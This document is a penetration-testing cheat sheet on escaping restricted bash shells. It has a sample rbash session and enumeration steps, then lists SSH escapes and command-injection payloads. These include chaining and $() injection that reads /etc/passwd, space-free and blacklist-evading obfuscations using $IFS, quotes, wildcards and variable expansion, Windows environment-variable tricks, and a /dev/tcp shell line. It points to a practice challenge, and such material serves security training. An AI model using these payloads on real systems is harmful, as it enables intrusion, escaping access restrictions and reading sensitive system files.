Restricted shells

Bypass restricted shells

Example for restricted shell

root@Desktop: ~ #ssh -6 user@fe80::XXXXX:2c74%wlan0 
user@fe80::XXXXX:2c74%wlan0 's password: 
Welcome to Ubuntu 16.04.5 LTS (GNU/Linux 4.15.0-34-generic x86_64) 
Documentation:  https://help.ubuntu.com 
Management:     https://landscape.canonical.com 
Support:        https://ubuntu.com/advantage 
Last login: Fri Jul 12 14:15:45 2019 from fe80::XXXXX:2c74%wlan0  
jail@HOST:~$ -rbash: /dev/null: restricted: cannot redirect output 
bash: _upvars: -a0': invalid number specifier  
-rbash: /dev/null: restricted: cannot redirect output  
bash: _upvars: -a0': invalid number specifier 
-rbash: /dev/null: restricted: cannot redirect output 
bash: _upvars: -a0': invalid number specifier  
-rbash: /dev/null: restricted: cannot redirect output  
bash: _upvars: -a0': invalid number specifier 
     
user@HOST:~$ vim 
-rbash: /usr/lib/command-not-found: restricted: cannot specify /' in command names  
jail@HOST:~$ exit 
logout  
-rbash: /usr/bin/clear_console: restricted: cannot specify /' in command names 
Connection to fe80::XXXXX:2c74%wlan0  closed. 
 

First:

1. Check 'echo $PATH'

2. Ls to check what command in the $path (ls -l /home/student/.bin)

3. Fix path export PATH=/bin:/usr/bin

Enumeration Linux Environment Enumeration is the most important part. We need to enumeration the Linux environmental to check what we can do to bypass the rbash.

We need to enumerate :

1. First we must to check for available commands like cd/ls/echo etc.

2. We must to check for operators like >,>>,<,|.

3. We need to check for available programming languages like perl,ruby,python etc.

4. Which commands we can run as root (sudo -l).

5. Check for files or commands with SUID perm.

6. You must to check in what shell you are : echo $SHELL you will be in rbash by 90%

7. Check for the Environmental Variables : run env or printenv Now let’s move into Common Exploitation Techniques.

Practice

Practice restricted shell escape: https://www.root-me.org/en/Challenges/App-Script/Bash-Restricted-shells

SSH

ssh user@192.168.0.53 -t bash

Or

ssh user@192.168.0.53 -t /bin/bash

Or

ssh user@192.168.0.53 -t "bash --noprofile"

Add Path

export PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin

Chaining commands

original_cmd_by_server; ls 
original_cmd_by_server && ls 
original_cmd_by_server | ls 
original_cmd_by_server || ls    Only if the first cmd fail 

Inside a command

original_cmd_by_server `cat /etc/passwd` 
original_cmd_by_server $(cat /etc/passwd)

Filter Bypasses

Bypass without space

Works on Linux only.

cat</etc/passwd

{cat,/etc/passwd}

cat$IFS/etc/passwd

echo${IFS}"RCE"${IFS}&&cat${IFS}/etc/passwd

X=$'uname\x20-a'&&$X

sh</dev/tcp/127.0.0.1/4242

Commands execution without spaces, $ or { } - Linux (Bash only)

IFS=,;`cat<<<uname,-a

Works on Windows only.

ping%CommonProgramFiles:~10,-18%IP

ping%PROGRAMFILES:~10,-5%IP

Bypass with a line return

something%0Acat%20/etc/passwd

Bypass Blacklisted words

Bypass with single quote

w'h'o'am'i

Bypass with double quote

w"h"o"am"i

Bypass with backslash and slash

w\ho\am\i

/\b\i\n/////s\h

Bypass with $@

who$@ami

echo $0

-> /usr/bin/zsh

echo whoami|$0

Bypass with variable expansion

/???/??t /???/p??s??

test=/ehhh/hmtc/pahhh/hmsswd

cat ${test//hhh\/hm/}

cat ${test//hh??hm/}

Bypass with wildcards

powershell C:\*\*2\n??e*d.*? # notepad

@^p^o^w^e^r^shell c:\*\*32\c*?c.e?e # calc